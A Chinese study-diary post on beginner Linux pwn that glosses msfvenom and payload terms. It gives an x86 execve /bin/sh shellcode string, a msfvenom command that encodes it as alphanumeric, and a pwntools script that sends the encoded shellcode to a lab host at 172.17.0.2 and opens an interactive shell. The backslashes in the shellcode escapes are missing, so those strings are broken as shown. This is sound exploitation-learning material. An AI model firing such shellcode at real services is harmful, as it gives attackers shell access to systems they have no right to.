pwn学习日记Day3 基础知识积累

知识杂项

msfVENOM:Msfvenom是msf框架配套的攻击载荷生成器。
payload:有效载荷。
payload:目标系统上渗透成功后执行的代码。
Metasploit:一款开源的安全漏洞检测工具。
BufferRegister:缓冲寄存器

shellcode的变形

"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"显然含有大量的非base64编码字符,甚至包含了大量的不可见字符。因此,我们就需要对其进行编码。
配置命令行参数

python -c 'import sys; sys.stdout.write("x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68
x2fx62x69x6ex89xe3xcdx80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86
--platform linux BufferRegister=EAX -o payload

我们需要自己输入shellcode,但msfvenom只能从stdin中读取,所以使用linux管道操作符“|”,把shellcode作为python程序的输出,从python的stdout传送到msfvenom的stdin。此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.2', 10001)
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6OD
oaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
print io.recv()
io.interactive()

remote:远程控制
recv:从TCP连接的另一端接收数据
send:是一个计算机函数,功能是向一个已经连接的socket发送数据,如果无错误,返回值为所发送数据的总数,否则返回SOCKET_ERROR。
interactive:提供了一种让使用者可以交互式输入参数、调用函数的途径。
有的时候我们可以成功写入shellcode,但是shellcode在执行前甚至执行时却会被破坏。当破坏难以避免时,我们就需要手工拆分shellcode,并且编写代码把两段分开的shellcode再“连”到一起。

内容来源

i春秋月刊第六期——Linux pwn零基础入门

原文地址:https://www.cnblogs.com/luoleqi/p/10788076.html